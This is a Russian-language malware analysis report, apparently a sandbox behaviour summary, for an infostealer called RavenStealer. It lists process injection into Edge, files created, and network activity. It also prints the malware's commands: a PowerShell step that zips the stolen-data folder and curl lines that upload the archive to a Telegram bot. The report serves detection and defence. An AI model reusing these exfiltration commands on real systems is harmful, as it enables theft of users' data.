Техническая информация
Вредоносные функции
Внедряет код в
следующие пользовательские процессы:
- msedge.exe
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\ravenstealer\screenshot.png
- %TEMP%\user_ravenstealer.zip
Сетевая активность
Подключается к
- 'ap#.##legram.org':443
TCP
Запросы HTTP GET
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?22##############
Другие
- 'ap#.##legram.org':443
UDP
- DNS ASK ap#.##legram.org
Другое
Запускает на исполнение
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --headless --disable-gpu --disable-software-rasterizer --no-sandbox (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "try { Compress-Archive -Path '%LOCALAPPDATA%\RavenStealer\*' -DestinationPath '%TEMP%\user_RavenStealer.zip' -Force -ErrorAction Continue } catch { $_ }"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "try { Compress-Archive -Path '%LOCALAPPDATA%\RavenStealer\*' -DestinationPath '%TEMP%\user_RavenStealer.zip' -Force -ErrorAction Continue } catch { $_ }"
- '<SYSTEM32>\cmd.exe' /c curl -F "chat_id=jp" -F "document=@%TEMP%\user_RavenStealer.zip" -F "caption=RavenStealer Report for user\n\nNo significant data found on this system." https://api.telegram.org/bot5920/sendD...
- '<SYSTEM32>\curl.exe' -F "chat_id=jp" -F "document=@%TEMP%\user_RavenStealer.zip" -F "caption=RavenStealer Report for user\n\nNo significant data found on this system." https://api.telegram.org/bot5920/sendDocument
